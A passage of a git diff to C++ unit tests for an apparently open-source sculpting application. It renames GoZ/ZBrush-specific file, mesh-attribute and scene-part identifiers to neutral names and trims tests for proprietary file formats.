+ CHECK(d.mesh.mask.size() == d.mesh.vertexCount() && d.mesh.facegroups.size() == d.mesh.triangleCount());
}
TEST(attributes_survive_decimation) {
@@ -105,7 +105,7 @@ TEST(attributes_survive_decimation) {
Mesh dm = decimate(m, m.triangleCount() / 4);
CHECK(dm.triangleCount() < m.triangleCount() / 2);
CHECK(dm.mask.size() == dm.vertexCount() && dm.colors.size() == dm.vertexCount());
- CHECK(dm.polygroups.size() == dm.triangleCount() && dm.hidden.size() == dm.triangleCount());
+ CHECK(dm.facegroups.size() == dm.triangleCount() && dm.hidden.size() == dm.triangleCount());
CHECK(dm.uvs.size() == dm.triangleCount() * 3);
// Kept vertices carry their exact values (vertices are a subset of the input).
int mismatches = 0;
@@ -117,7 +117,7 @@ TEST(attributes_survive_decimation) {
CHECK(mismatches == 0);
std::vector<Mesh> lods = generateLods(m, 3, 0.5f);
CHECK(lods.size() == 3 && lods[2].mask.size() == lods[2].vertexCount() &&
- lods[2].polygroups.size() == lods[2].triangleCount());
+ lods[2].facegroups.size() == lods[2].triangleCount());
}
TEST(attributes_transfer_through_remesh) {
@@ -127,7 +127,7 @@ TEST(attributes_transfer_through_remesh) {
Mesh r = voxelRemesh(m, 48, &err);
CHECK(r.triangleCount() > 0);
CHECK(r.mask.size() == r.vertexCount() && r.colors.size() == r.vertexCount());
- CHECK(!r.hasPolygroups() && !r.hasHidden() && !r.hasUvs()); // documented reset
+ CHECK(!r.hasFaceGroups() && !r.hasHidden() && !r.hasUvs()); // documented reset
int wrong = 0, checked = 0;
for (uint32_t v = 0; v < r.vertexCount(); ++v) {
const glm::vec3& p = r.positions[v];
@@ -146,11 +146,11 @@ TEST(attributes_carried_by_weld_and_snapshot_undo) {
raw.positions = {{0, 0, 0}, {1, 0, 0}, {0, 1, 0}, {1, 0, 0}, {1, 1, 0}, {0, 1, 0}};
raw.triangles = {{0, 1, 2}, {3, 4, 5}};
raw.colors = {{1, 0, 0}, {0, 1, 0}, {0, 0, 1}, {1, 1, 0}, {1, 1, 1}, {0, 1, 1}};
- raw.polygroups = {4, 9};
+ raw.facegroups = {4, 9};
raw.uvs = {{0, 0}, {1, 0}, {0, 1}, {0.5f, 0}, {1, 1}, {0, 0.5f}};
Mesh w = weldImported(raw);
CHECK(w.vertexCount() == 4 && w.colors.size() == 4 && w.colors[1] == glm::vec3(0, 1, 0));
- CHECK(w.polygroups == std::vector<uint32_t>({4, 9}) && w.uvs.size() == 6 && w.uvs[3] == glm::vec2(0.5f, 0));
+ CHECK(w.facegroups == std::vector<uint32_t>({4, 9}) && w.uvs.size() == 6 && w.uvs[3] == glm::vec2(0.5f, 0));
Document d = makeDoc(makeIcosphere(2));
paintTestAttributes(d.mesh);
@@ -158,7 +158,7 @@ TEST(attributes_carried_by_weld_and_snapshot_undo) {
CommandRegistry reg;
CHECK(reg.execute(d, "remesh", {{"resolution", 40.0}}).ok);
CHECK(d.undo.undo(d.mesh, d.bvh));
- CHECK(d.mesh.mask == before.mask && d.mesh.colors == before.colors && d.mesh.polygroups == before.polygroups &&
+ CHECK(d.mesh.mask == before.mask && d.mesh.colors == before.colors && d.mesh.facegroups == before.facegroups &&
d.mesh.hidden == before.hidden && d.mesh.uvs == before.uvs);
CHECK(d.undo.redo(d.mesh, d.bvh));
CHECK(d.mesh.vertexCount() != before.vertexCount() && d.mesh.mask.size() == d.mesh.vertexCount());
@@ -191,9 +191,9 @@ TEST(mask_and_color_stroke_undo) {
d.mesh.clearMask();
d.undo.push(UndoRecord::captureHidden(d.mesh, "Hide"));
d.mesh.ensureHidden()[0] = 1;
- d.undo.push(UndoRecord::capturePolygroups(d.mesh, "Group", std::vector<uint32_t>{2}));
- d.mesh.ensurePolygroups()[2] = 7;
- CHECK(d.undo.undo(d.mesh, d.bvh) && d.mesh.polygroupAt(2) == 0u);
+ d.undo.push(UndoRecord::captureFaceGroups(d.mesh, "Group", std::vector<uint32_t>{2}));
+ d.mesh.ensureFaceGroups()[2] = 7;
+ CHECK(d.undo.undo(d.mesh, d.bvh) && d.mesh.facegroupAt(2) == 0u);
CHECK(d.undo.undo(d.mesh, d.bvh) && !d.mesh.triangleHidden(0));
CHECK(d.undo.undo(d.mesh, d.bvh) && d.mesh.maskAt(3) == 1.0f);
CHECK(d.undo.redo(d.mesh, d.bvh) && d.mesh.maskAt(3) == 0.0f);
diff --git a/tests/test_bake.cpp b/tests/test_bake.cpp
index 77b9b4ef..9dd295ee 100644
--- a/tests/test_bake.cpp
+++ b/tests/test_bake.cpp
@@ -366,8 +366,8 @@ TEST(bake_color_transfer) {
TEST(bake_command) {
Document doc = makeDoc(highPoly(4));
- doc.subtools[0].name = "High";
- doc.addSubtool(lowPoly(), "Low");
+ doc.parts[0].name = "High";
+ doc.addPart(lowPoly(), "Low");
CommandRegistry reg;
const std::string dir = tempPath("sf_bake_cmd");
std::filesystem::remove_all(dir);
@@ -394,7 +394,7 @@ TEST(bake_command) {
CHECK(!reg.execute(doc, "bake", {{"source", std::string("Nope")}, {"out", dir}}).ok);
CHECK(!reg.execute(doc, "bake", {{"size", 300.0}, {"out", dir}}).ok);
CHECK(!reg.execute(doc, "bake", {{"green", std::string("purple")}, {"out", dir}}).ok);
- doc.subtools[0].visible = false; // nothing visible to bake from
+ doc.parts[0].visible = false; // nothing visible to bake from
CHECK(!reg.execute(doc, "bake", {{"out", dir}}).ok);
setBakeListener({});
std::filesystem::remove_all(dir);
diff --git a/tests/test_blender_bridge.cpp b/tests/test_blender_bridge.cpp
index d62eaf96..6bd8a71d 100644
--- a/tests/test_blender_bridge.cpp
+++ b/tests/test_blender_bridge.cpp
@@ -9,7 +9,7 @@
#include "core/Commands.h"
#include "core/Primitives.h"
#include "io/BlenderBridge.h"
-#include "io/GozIO.h"
+#include "io/BridgeIO.h"
#include <glm/gtc/matrix_transform.hpp>
@@ -66,9 +66,9 @@ TEST(blender_manifest_parse_and_write) {
std::string err;
const std::string text = R"({"format": "sculptforge-bridge", "version": 1, "revision": 7, "sender": "blender",
"sender_version": "4.2.3", "objects": [
- {"name": "Suzanne.001 ü", "file": "r7_000.GoZ",
+ {"name": "Suzanne.001 ü", "file": "r7_000.Bridge",
"matrix_world": [[1, 0, 0, 5], [0, 0, -1, 6], [0, 1, 0, 7], [0, 0, 0, 1]]},
- {"name": "Plain", "file": "r7_001.GoZ"}]})";
+ {"name": "Plain", "file": "r7_001.Bridge"}]})";
CHECK(parseBridgeManifest(text, m, err));
CHECK(m.revision == 7 && m.sender == "blender" && m.senderVersion == "4.2.3" && m.objects.size() == 2);
CHECK(m.objects[0].name == "Suzanne.001 ü" && m.objects[0].hasMatrix && !m.objects[1].hasMatrix);
@@ -81,7 +81,7 @@ TEST(blender_manifest_parse_and_write) {
BridgeManifest back;
CHECK(parseBridgeManifest(writeBridgeManifest(m), back, err));
CHECK(back.revision == 7 && back.objects.size() == 2 && back.objects[0].name == m.objects[0].name);
- CHECK(back.objects[0].matrix == m.objects[0].matrix && back.objects[1].file == "r7_001.GoZ");
+ CHECK(back.objects[0].matrix == m.objects[0].matrix && back.objects[1].file == "r7_001.Bridge");
// Refused: other JSON, newer versions, files outside the folder, broken matrices.
CHECK(!parseBridgeManifest("{\"format\": \"other\"}", back, err));
@@ -91,12 +91,12 @@ TEST(blender_manifest_parse_and_write) {
CHECK(!parseBridgeManifest(newer, back, err));
CHECK(err.find("newer") != std::string::npos);
const std::string badStart = R"({"format": "sculptforge-bridge", "objects": [{"name": "x", "file": ")";
- for (const char* bad : {"../x.GoZ", "a/b.GoZ", "c:\\\\x.GoZ", ".."}) {
+ for (const char* bad : {"../x.Bridge", "a/b.Bridge", "c:\\\\x.Bridge", ".."}) {
const std::string text = badStart + bad + "\"}]}";
CHECK(!parseBridgeManifest(text, back, err));
}
const std::string badMatrix =
- R"({"format": "sculptforge-bridge", "objects": [{"name": "x", "file": "a.GoZ", "matrix_world": [[1, 0, 0]]}]})";
+ R"({"format": "sculptforge-bridge", "objects": [{"name": "x", "file": "a.Bridge", "matrix_world": [[1, 0, 0]]}]})";
CHECK(!parseBridgeManifest(badMatrix, back, err));
}
@@ -122,33 +122,33 @@ TEST(blender_bridge_round_trip) {
CommandRegistry reg;
std::string err;
- // What the add-on writes: object-space meshes as .GoZ (here written by SculptForge's own writer, whose
+ // What the add-on writes: object-space meshes as Bridge (here written by SculptForge's own writer, whose
// file holds Blender local coordinates for a mesh given in SculptForge axes) and each matrix_world.
Mesh cube = makeCube(3); // quads
Mesh ball = makeIcosphere(2);
- ball.ensurePolygroups();
- for (uint32_t t = 0; t < ball.triangleCount(); ++t) ball.polygroups[t] = t % 3;
+ ball.ensureFaceGroups();
+ for (uint32_t t = 0; t < ball.triangleCount(); ++t) ball.facegroups[t] = t % 3;
ball.uvs.assign(ball.triangleCount() * 3, glm::vec2(0.25f, 0.75f));
const fs::path inbox = root / "to_sculptforge";
fs::create_directories(inbox);
- CHECK(saveGoz((inbox / "r3_000.GoZ").string(), cube, "Cube", err));
- CHECK(saveGoz((inbox / "r3_001.GoZ").string(), ball, "Ball", err));
+ CHECK(saveBridge((inbox / "r3_000.Bridge").string(), cube, "Cube", err));
+ CHECK(saveBridge((inbox / "r3_001.Bridge").string(), ball, "Ball", err));
const glm::dmat4 mCube = blenderMatrix(1.0), mBall = blenderMatrix(-1.0); // the ball is mirrored
writeText(inbox / "manifest.json",
R"({"format": "sculptforge-bridge", "version": 1, "revision": 3, "sender": "blender", "objects": [
- {"name": "Cube", "file": "r3_000.GoZ", "matrix_world": )" + matrixJson(mCube) + R"(},
- {"name": "Ball ü", "file": "r3_001.GoZ", "matrix_world": )" + matrixJson(mBall) + "}]}");
+ {"name": "Cube", "file": "r3_000.Bridge", "matrix_world": )" + matrixJson(mCube) + R"(},
+ {"name": "Ball ü", "file": "r3_001.Bridge", "matrix_world": )" + matrixJson(mBall) + "}]}");
CHECK(bridgeRevision(inbox.string()) == 3);
// Into a fresh scene: the cube replaces it (renamed after the object), the ball is added.
Document doc = makeDoc(makeIcosphere(1));
CommandResult r = reg.execute(doc, "blender_receive", {{"folder", folder}});
CHECK(r.ok && r.message.find("Received 2 objects") != std::string::npos);
- CHECK(doc.subtoolCount() == 2 && doc.activeSubtool == 0);
- CHECK(doc.subtools[0].name == "Cube" && doc.gozName == "Cube");
- CHECK(doc.subtools[1].name == "Ball ü" && doc.subtools[1].gozName == "Ball ü");
+ CHECK(doc.partCount() == 2 && doc.activePart == 0);
+ CHECK(doc.parts[0].name == "Cube" && doc.bridgeName == "Cube");
+ CHECK(doc.parts[1].name == "Ball ü" && doc.parts[1].bridgeName == "Ball ü");
CHECK(doc.mesh.quadCount() == cube.quadCount() && doc.mesh.quadCount() > 0);
- CHECK(doc.subtoolMesh(1).polygroups.size() == ball.triangleCount() && doc.subtoolMesh(1).hasUvs());
+ CHECK(doc.partMesh(1).facegroups.size() == ball.triangleCount() && doc.partMesh(1).hasUvs());
// Placed as in Blender's scene: p_sf = A * M_blender * A^-1 * p.
const glm::dmat4 placed = blenderMatrixToSculptForge(mCube);
std::vector<glm::vec3> expect;
@@ -164,23 +164,23 @@ TEST(blender_bridge_round_trip) {
CHECK(sent.revision == 1 && sent.sender == "sculptforge" && sent.objects.size() == 2);
CHECK(sent.objects[0].name == "Cube" && sent.objects[1].name == "Ball ü" && !sent.objects[0].hasMatrix);
Mesh cubeBack, ballBack;
- CHECK(loadGoz((root / "to_blender" / sent.objects[0].file).string(), cubeBack, err));
- CHECK(loadGoz((root / "to_blender" / sent.objects[1].file).string(), ballBack, err));
+ CHECK(loadBridge((root / "to_blender" / sent.objects[0].file).string(), cubeBack, err));
+ CHECK(loadBridge((root / "to_blender" / sent.objects[1].file).string(), ballBack, err));
CHECK(maxDistance(cubeBack.positions, doc.mesh.positions) < 1e-6f);
- // (GoZ quads come in split as (a,b,c) + (a,c,d): compare with the SubTool as it was received.)
+ // (Bridge quads come in split as (a,b,c) + (a,c,d): compare with the Part as it was received.)
CHECK(cubeBack.triangles == doc.mesh.triangles && cubeBack.quadCount() == cube.quadCount());
- CHECK(ballBack.triangles == ball.triangles && ballBack.polygroups == ball.polygroups && ballBack.uvs == ball.uvs);
+ CHECK(ballBack.triangles == ball.triangles && ballBack.facegroups == ball.facegroups && ballBack.uvs == ball.uvs);
// Undoing the placement gives the object-space mesh back (what the add-on does with matrix_world).
const glm::dmat4 unplace = glm::inverse(blenderMatrixToSculptForge(mBall));
std::vector<glm::vec3> local;
for (const glm::vec3& p : ballBack.positions) local.push_back(glm::vec3(unplace * glm::dvec4(glm::dvec3(p), 1.0)));
CHECK(maxDistance(local, ball.positions) < 1e-5f);
- // Blender sends the cube again: it updates its SubTool (undoably) instead of adding one.
+ // Blender sends the cube again: it updates its Part (undoably) instead of adding one.
writeText(inbox / "manifest.json", R"({"format": "sculptforge-bridge", "revision": 4, "objects": [
- {"name": "Cube", "file": "r3_000.GoZ"}]})");
+ {"name": "Cube", "file": "r3_000.Bridge"}]})");
r = reg.execute(doc, "blender_receive", {{"folder", folder}});
- CHECK(r.ok && doc.subtoolCount() == 2 && doc.activeSubtool == 0);
+ CHECK(r.ok && doc.partCount() == 2 && doc.activePart == 0);
CHECK(maxDistance(doc.mesh.positions, cube.positions) < 1e-6f); // no matrix: as stored
CHECK(doc.undo.canUndo());
@@ -194,7 +194,7 @@ TEST(blender_bridge_round_trip) {
fs::remove_all(root);
r = reg.execute(doc, "blender_receive", {{"folder", folder}});
CHECK(!r.ok && r.message.find("Nothing has been sent from Blender") != std::string::npos);
- writeText(inbox / "manifest.json", R"({"format": "sculptforge-bridge", "objects": [{"name": "Gone", "file": "r1_000.GoZ"}]})");
+ writeText(inbox / "manifest.json", R"({"format": "sculptforge-bridge", "objects": [{"name": "Gone", "file": "r1_000.Bridge"}]})");
r = reg.execute(doc, "blender_receive", {{"folder", folder}});
CHECK(!r.ok && r.message.find("Gone") != std::string::npos);
fs::remove_all(root);
diff --git a/tests/test_goz.cpp b/tests/test_bridge.cpp
similarity index 63%
rename from tests/test_goz.cpp
rename to tests/test_bridge.cpp
index 2b89a2be..b64e3ce5 100644
--- a/tests/test_goz.cpp
+++ b/tests/test_bridge.cpp
@@ -1,13 +1,14 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// ZBrush interoperability: GoZ read/write (checked against a buffer laid out
-// exactly like GoB's writer), the GoZ bridge folder, and STL.
+// classic interoperability: Bridge read/write (checked against a buffer laid out
+// exactly like GoB's writer), the Bridge bridge folder, and STL.
#include "TestHarness.h"
#include "core/Commands.h"
#include "core/Primitives.h"
-#include "io/GozIO.h"
+#include "io/BridgeProtocol.h"
+#include "io/BridgeIO.h"
#include "io/StlIO.h"
#include <algorithm>
@@ -45,18 +46,18 @@ struct Bytes {
void tag(uint8_t a, uint8_t c) { u8(a), u8(c), u8(0), u8(0); }
};
-// One quad (0,1,2,3) and one triangle (1,4,2) as GoB's exportGoZ writes them:
-// header, object name, mesh name, vertices, faces, UVs, polypaint, mask,
-// polygroups, 16 zero bytes. Coordinates are in ZBrush space.
+// One quad (0,1,2,3) and one triangle (1,4,2) as GoB's exportBridge writes them:
+// header, object name, mesh name, vertices, faces, UVs, vertex paint, mask,
+// face groups, 16 zero bytes. Coordinates are space.
std::vector<uint8_t> gobQuadAndTriangle() {
const std::string name = "Quad";
Bytes w;
- w.raw("GoZb 1.0 ZBrush GoZ Binary", 26);
+ w.raw(bridgefile::kHeader, 26);
for (int i = 0; i < 6; ++i) w.u8(0x2e);
w.u32(1);
w.u32(uint32_t(name.size() + 24));
w.u64(1);
- w.raw("GoZMesh_", 8);
+ w.raw(bridgefile::kNamePrefix, 8);
w.raw(name.data(), name.size());
w.tag(0x89, 0x13);
w.u32(20);
@@ -81,7 +82,7 @@ std::vector<uint8_t> gobQuadAndTriangle() {
w.u64(2);
const float uvs[8][2] = {{0, 1}, {0.5f, 1}, {0.5f, 0.5f}, {0, 0.5f}, {0.5f, 1}, {1, 0.75f}, {0.5f, 0.5f}, {0, 1}};
for (auto& uv : uvs) w.f32(uv[0]), w.f32(uv[1]);
- // Polypaint: count as uint32 + float 0, then B, G, R, 0 per vertex
+ // Vertex paint: count as uint32 + float 0, then B, G, R, 0 per vertex
w.tag(0xb9, 0x88);
w.u32(5 * 4 + 16);
w.u32(5);
@@ -93,7 +94,7 @@ std::vector<uint8_t> gobQuadAndTriangle() {
w.u32(5 * 2 + 16);
w.u64(5);
for (uint16_t m : {uint16_t(65535), uint16_t(0), uint16_t(65535), uint16_t(65535), uint16_t(32768)}) w.u16(m);
- // Polygroups: uint16 per face
+ // Face groups: uint16 per face
w.tag(0x41, 0x9c);
w.u32(2 * 2 + 16);
w.u64(2);
@@ -111,10 +112,10 @@ void paintAll(Mesh& m) {
m.mask[v] = std::clamp(p.y * 0.5f + 0.5f, 0.0f, 1.0f);
m.colors[v] = srgbToLinear(glm::vec3(p.x, p.y, p.z) * 0.5f + 0.5f);
}
- m.ensurePolygroups();
+ m.ensureFaceGroups();
m.uvs.resize(m.triangleCount() * 3);
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
- m.polygroups[t] = t % 5 + (t % 2 ? 1000 : 0);
+ m.facegroups[t] = t % 5 + (t % 2 ? 1000 : 0);
for (int c = 0; c < 3; ++c) {
const glm::vec3& p = m.positions[m.triangles[t][c]];
m.uvs[t * 3 + size_t(c)] = glm::vec2(p.x, p.z) * 0.25f + 0.5f;
@@ -138,22 +139,22 @@ float maxSrgbError(const Mesh& a, const Mesh& b) {
} // namespace
-TEST(goz_round_trip_keeps_everything) {
+TEST(bridge_round_trip_keeps_everything) {
Mesh m = makeIcosphere(3);
paintAll(m);
for (bool quads : {true, false}) {
- GozWriteOptions o;
+ BridgeWriteOptions o;
o.quads = quads;
- std::vector<uint8_t> bytes = writeGoz(m, "My Head!", o);
+ std::vector<uint8_t> bytes = writeBridge(m, "My Head!", o);
Mesh r;
- GozInfo info;
+ BridgeInfo info;
std::string err;
- CHECK(parseGoz(bytes, r, err, &info));
+ CHECK(parseBridge(bytes, r, err, &info));
CHECK(err.empty());
CHECK(info.name == "My_Head");
CHECK(r.positions == m.positions);
CHECK(r.triangles == m.triangles);
- CHECK(r.polygroups == m.polygroups);
+ CHECK(r.facegroups == m.facegroups);
CHECK(r.uvs.size() == m.uvs.size());
float uvErr = 0.0f, maskErr = 0.0f;
for (size_t i = 0; i < m.uvs.size() && i < r.uvs.size(); ++i)
@@ -166,27 +167,27 @@ TEST(goz_round_trip_keeps_everything) {
if (!quads) CHECK(info.quads == 0 && info.triangles == m.triangleCount());
}
// Writing what was read gives the same bytes.
- std::vector<uint8_t> first = writeGoz(m, "Head");
+ std::vector<uint8_t> first = writeBridge(m, "Head");
Mesh r;
std::string err;
- CHECK(parseGoz(first, r, err));
- CHECK(writeGoz(r, "Head") == first);
+ CHECK(parseBridge(first, r, err));
+ CHECK(writeBridge(r, "Head") == first);
}
-TEST(goz_parses_gob_layout) {
+TEST(bridge_parses_gob_layout) {
const std::vector<uint8_t> bytes = gobQuadAndTriangle();
Mesh m;
- GozInfo info;
+ BridgeInfo info;
std::string err;
- CHECK(parseGoz(bytes, m, err, &info));
+ CHECK(parseBridge(bytes, m, err, &info));
CHECK(info.name == "Quad" && info.quads == 1 && info.triangles == 1);
CHECK(m.vertexCount() == 5);
- // Y-down ZBrush to Y-up: (x, y, z) -> (x, -y, -z).
+ // Y-down classic to Y-up: (x, y, z) -> (x, -y, -z).
CHECK(m.positions[2] == glm::vec3(1, -1, 0) && m.positions[4] == glm::vec3(2, -0.5f, -0.25f));
// The quad becomes (0,1,2) + (0,2,3), then the triangle.
CHECK(m.triangleCount() == 3);
CHECK(m.triangles[0] == glm::uvec3(0, 1, 2) && m.triangles[1] == glm::uvec3(0, 2, 3) && m.triangles[2] == glm::uvec3(1, 4, 2));
- CHECK(m.polygroups == std::vector<uint32_t>({7u, 7u, 65504u}));
+ CHECK(m.facegroups == std::vector<uint32_t>({7u, 7u, 65504u}));
CHECK(m.uvs.size() == 9);
CHECK(m.uvs.size() == 9 && m.uvs[0] == glm::vec2(0, 0) && m.uvs[1] == glm::vec2(0.5f, 0) && m.uvs[5] == glm::vec2(0, 0.5f) &&
m.uvs[7] == glm::vec2(1, 0.25f));
@@ -196,10 +197,10 @@ TEST(goz_parses_gob_layout) {
m.colors[2] == glm::vec3(0, 0, 1));
CHECK(m.colors.size() == 5 && std::abs(linearToSrgb(m.colors[4]).x - 128.0f / 255.0f) < 1e-4f);
// SculptForge writes the same layout back, byte for byte.
- CHECK(writeGoz(m, "Quad") == bytes);
+ CHECK(writeBridge(m, "Quad") == bytes);
}
-TEST(goz_skips_unknown_sections_and_rejects_garbage) {
+TEST(bridge_skips_unknown_sections_and_rejects_garbage) {
std::vector<uint8_t> bytes = gobQuadAndTriangle();
// Insert an unknown section (tag 0x1234, 8 payload bytes) before the vertices, and a subdivision record.
const uint8_t vertexTag[4] = {0x11, 0x27, 0, 0};
@@ -209,155 +210,138 @@ TEST(goz_skips_unknown_sections_and_rejects_garbage) {
0x8a, 0x13, 0, 0, 32, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
bytes.insert(at, std::begin(extra), std::end(extra));
Mesh m;
- GozInfo info;
+ BridgeInfo info;
std::string err;
- CHECK(parseGoz(bytes, m, err, &info));
+ CHECK(parseBridge(bytes, m, err, &info));
CHECK(m.triangleCount() == 3 && info.subdivisionLevel == 2);
- const char junk[] = "solid not a goz file";
- CHECK(!parseGoz(std::span(reinterpret_cast<const uint8_t*>(junk), sizeof(junk)), m, err));
+ const char junk[] = "solid not a bridge file";
+ CHECK(!parseBridge(std::span(reinterpret_cast<const uint8_t*>(junk), sizeof(junk)), m, err));
std::vector<uint8_t> truncated(bytes.begin(), bytes.begin() + 60);
- CHECK(!parseGoz(truncated, m, err));
+ CHECK(!parseBridge(truncated, m, err));
// Out-of-range indices are dropped, not trusted.
std::vector<uint8_t> bad = gobQuadAndTriangle();
const uint8_t faceTag[4] = {0x21, 0x4e, 0, 0};
auto f = std::search(bad.begin(), bad.end(), faceTag, faceTag + 4);
f[16 + 16 + 4] = 99; // second face, second index
- CHECK(parseGoz(bad, m, err) && m.triangleCount() == 2 && !err.empty());
+ CHECK(parseBridge(bad, m, err) && m.triangleCount() == 2 && !err.empty());
}
-TEST(goz_commands_and_open) {
+TEST(bridge_commands_and_open) {
CommandRegistry reg;
- for (const char* name : {"goz_import", "goz_export", "goz_send", "goz_receive", "export_stl"}) CHECK(reg.find(name));
+ for (const char* name : {"bridge_import", "bridge_export", "bridge_send", "bridge_receive", "export_stl"}) CHECK(reg.find(name));
Mesh m = makeIcosphere(2);
paintAll(m);
Document doc = makeDoc(m);
- const std::string path = tempPath("sf_goz_cmd.GoZ");
- CHECK(reg.execute(doc, "goz_export", {{"path", path}}).ok);
+ const std::string path = tempPath((std::string("sf_bridge_cmd") + bridgefile::kExt).c_str());
+ CHECK(reg.execute(doc, "bridge_export", {{"path", path}}).ok);
Document other;
CommandResult r = reg.execute(other, "open", {{"path", path}});
CHECK(r.ok);
- CHECK(other.mesh.triangles == m.triangles && other.mesh.polygroups == m.polygroups && other.gozName == "sf_goz_cmd");
+ CHECK(other.mesh.triangles == m.triangles && other.mesh.facegroups == m.facegroups && other.bridgeName == "sf_bridge_cmd");
Document third;
- r = reg.execute(third, "goz_import", {{"path", path}});
- CHECK(r.ok && third.mesh.hasMask() && third.mesh.hasColors() && third.mesh.hasUvs() && third.gozName == "sf_goz_cmd");
+ r = reg.execute(third, "bridge_import", {{"path", path}});
+ CHECK(r.ok && third.mesh.hasMask() && third.mesh.hasColors() && third.mesh.hasUvs() && third.bridgeName == "sf_bridge_cmd");
std::filesystem::remove(path);
- r = reg.execute(doc, "open", {{"path", "model.zpr"}});
- CHECK(!r.ok && r.message.find("proprietary") != std::string::npos && r.message.find("Bridge") != std::string::npos &&
- r.message.find("OBJ") != std::string::npos);
- // A .ztl without a conversion beside it points to the ZBrush plug-in.
- r = reg.execute(doc, "open", {{"path", "model.ZTL"}});
- CHECK(!r.ok && r.message.find("proprietary") != std::string::npos && r.message.find("export plug-in") != std::string::npos);
}
-// The SculptForge ZTL Export plug-in writes <name>.sf<NNN>_<SubTool>.GoZ next to <name>.ztl; opening the .ztl
-// opens every SubTool in order. A folder of numbered .GoZ files opens the same way.
-TEST(goz_converted_ztool_opens_as_subtools) {
+// A folder of numbered Bridge files opens as one scene, in number order.
+TEST(bridge_folder_opens_as_parts) {
namespace fs = std::filesystem;
- const fs::path base = fs::path(tempPath("sf_ztool_test"));
+ const fs::path base = fs::path(tempPath("sf_bridge_folder_test"));
fs::remove_all(base);
- fs::create_directories(base / "Dragon.sculptforge");
+ const fs::path dir = base / "Dragon.sculptforge";
+ fs::create_directories(dir);
Mesh body = makeIcosphere(2);
paintAll(body);
Mesh horn = makeIcosphere(1);
std::string err;
- // Written out of order on purpose: the number, not the directory order, sets the SubTool order.
- for (const fs::path dir : {base, base / "Dragon.sculptforge"}) {
- const std::string prefix = dir == base ? "Dragon.sf" : "";
- CHECK(saveGoz((dir / (prefix + "002_Horn.GoZ")).string(), horn, "Horn", err));
- CHECK(saveGoz((dir / (prefix + "001_Body.GoZ")).string(), body, "Body", err));
- }
- CHECK(saveGoz((base / "Other.sf001_Rock.GoZ").string(), horn, "Rock", err)); // another ZTool's file
- { std::ofstream((base / "Dragon.sculptforge" / "notes.txt").string()) << "not a mesh"; }
- { std::ofstream((base / "Dragon.ztl").string(), std::ios::binary) << "ZTL"; }
-
- CHECK(convertedZToolFiles((base / "Dragon.ztl").string()).size() == 2);
- CHECK(convertedZToolFiles((base / "Missing.ztl").string()).empty());
- CHECK(convertedZToolFiles((base / "Dragon.obj").string()).empty());
+ // Written out of order on purpose: the number, not the directory order, sets the order.
+ CHECK(saveBridge((dir / (std::string("002_Horn") + bridgefile::kExt)).string(), horn, "Horn", err));
+ CHECK(saveBridge((dir / (std::string("001_Body") + bridgefile::kExt)).string(), body, "Body", err));
+ { std::ofstream((dir / "notes.txt").string()) << "not a mesh"; }
+ CHECK(bridgeFolderFiles(dir.string()).size() == 2);
+ CHECK(bridgeFolderFiles((base / "Missing.sculptforge").string()).empty());
CommandRegistry reg;
- for (const std::string path : {(base / "Dragon.ztl").string(), (base / "Dragon.sculptforge").string()}) {
- Document doc;
- CommandResult r = reg.execute(doc, "open", {{"path", path}});
- CHECK(r.ok && r.message.find("2 Parts") != std::string::npos);
- CHECK(doc.subtoolCount() == 2);
- if (doc.subtoolCount() != 2) continue;
- CHECK(doc.subtools[0].name == "Body" && doc.subtools[1].name == "Horn");
- CHECK(doc.subtoolMesh(0).triangleCount() == body.triangleCount() && doc.subtoolMesh(0).hasColors() &&
- doc.subtoolMesh(0).hasMask() && doc.subtoolMesh(0).hasUvs());
- CHECK(doc.subtoolMesh(1).triangleCount() == horn.triangleCount());
- }
-
- // Without a conversion, a .ztl explains the plug-in; an empty folder is an error, not an empty scene.
Document doc;
- CommandResult r = reg.execute(doc, "open", {{"path", (base / "Missing.ztl").string()}});
- CHECK(!r.ok && r.message.find("export plug-in") != std::string::npos);
+ CommandResult r = reg.execute(doc, "open", {{"path", dir.string()}});
+ CHECK(r.ok && r.message.find("2 Parts") != std::string::npos);
+ CHECK(doc.partCount() == 2);
+ if (doc.partCount() == 2) {
+ CHECK(doc.parts[0].name == "Body" && doc.parts[1].name == "Horn");
+ CHECK(doc.partMesh(0).triangleCount() == body.triangleCount() && doc.partMesh(0).hasColors() &&
+ doc.partMesh(0).hasMask() && doc.partMesh(0).hasUvs());
+ CHECK(doc.partMesh(1).triangleCount() == horn.triangleCount());
+ }
+ // An empty folder is an error, not an empty scene.
+ Document empty;
fs::create_directories(base / "Empty.sculptforge");
- CHECK(!reg.execute(doc, "open", {{"path", (base / "Empty.sculptforge").string()}}).ok);
+ CHECK(!reg.execute(empty, "open", {{"path", (base / "Empty.sculptforge").string()}}).ok);
fs::remove_all(base);
}
-TEST(goz_bridge_send_and_receive) {
+TEST(bridge_bridge_send_and_receive) {
namespace fs = std::filesystem;
- const fs::path root = fs::temp_directory_path() / "sf_goz_bridge";
+ const fs::path root = fs::temp_directory_path() / "sf_bridge_bridge";
fs::remove_all(root);
CommandRegistry reg;
Mesh m = makeIcosphere(2);
paintAll(m);
Document doc = makeDoc(m);
const std::string folder = root.string();
- CommandResult r = reg.execute(doc, "goz_send", {{"folder", folder}, {"name", "Sphere 1"}, {"launch", false}});
+ CommandResult r = reg.execute(doc, "bridge_send", {{"folder", folder}, {"name", "Sphere 1"}, {"launch", false}});
CHECK(r.ok);
- const fs::path project = root / "GoZProjects" / "Default";
- CHECK(fs::exists(project / "Sphere_1.GoZ") && fs::exists(project / "Sphere_1.ztn"));
- CHECK(fs::exists(root / "GoZBrush" / "GoZ_Application.txt") && fs::exists(root / "GoZApps" / "SculptForge" / "GoZ_Info.txt"));
- std::vector<uint8_t> list = readFile((root / "GoZBrush" / "GoZ_ObjectList.txt").string());
+ const fs::path project = root / bridgefile::kProjectsFolder / "Default";
+ CHECK(fs::exists(project / (std::string("Sphere_1") + bridgefile::kExt)) && fs::exists(project / "Sphere_1.ztn"));
+ CHECK(fs::exists(root / bridgefile::kInboxFolder / bridgefile::kApplicationFile) && fs::exists(root / bridgefile::kAppsFolder / "SculptForge" / bridgefile::kInfoFile));
+ std::vector<uint8_t> list = readFile((root / bridgefile::kInboxFolder / bridgefile::kObjectList).string());
const std::string expected = (project / "Sphere_1").generic_string() + "\n";
CHECK(std::string(list.begin(), list.end()) == expected);
- CHECK(doc.gozName == "Sphere_1");
